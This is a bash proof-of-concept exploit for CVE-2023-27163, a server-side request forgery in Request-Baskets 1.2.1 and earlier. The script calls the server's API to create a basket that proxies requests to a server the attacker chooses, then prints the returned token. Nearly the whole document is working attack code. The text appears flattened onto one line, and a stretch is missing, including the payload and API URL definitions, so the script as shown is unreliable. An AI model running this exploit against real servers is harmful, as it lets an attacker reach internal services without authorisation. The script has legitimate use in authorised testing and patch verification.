#!/bin/bash echo -e "Proof-of-Concept of SSRF on Request-Baskets (CVE-2023-27163) || More info at https://github.com/entr0pie/CVE-2023-27163\n"; if [ "$#" -lt 2 ] || [ "$1" = "-h" ] || [ "$1" = "--help" ]; then help="Usage: CVE-2023-27163.sh \n\n"; help+="This PoC will create a vulnerable basket on a Request-Baskets (<= 1.2.1) server,\n"; help+="which will act as a proxy to other services and servers.\n\n"; help+="Arguments:\n" \ help+=" URL main path (/) of the server (eg. http://127.0.0.1:5000/)\n"; help+=" TARGET r-baskets target server (eg. https://b5f5-138-204-24-206.ngrok-free.app/)\n\n"; help+="More info at https://github.com/entr0pie/CVE-2023-27163."; echo -e "$help"; exit 1; fi URL=$1 ATTACKER_SERVER=$2 if [ "${URL: -1}" != "/" ]; then URL="$URL/"; fi; BASKET_NAME=$(LC_ALL=C tr -dc 'a-z' Creating the \"$BASKET_NAME\" proxy basket..."; if ! response=$(curl -s -X POST -H 'Content-Type: application/json' -d "$PAYLOAD" "$API_URL"); then echo "> FATAL: Could not properly request $API_URL. Is the server online?"; exit 1; fi; BASKET_URL="$URL$BASKET_NAME"; echo "> Basket created!"; echo "> Accessing $BASKET_URL now makes the server request to $ATTACKER_SERVER."; if ! jq --help 1>/dev/null; then echo "> Response body (Authorization): $response"; else echo "> Authorization: $(echo "$response" | jq -r ".token")"; fi; exit 0;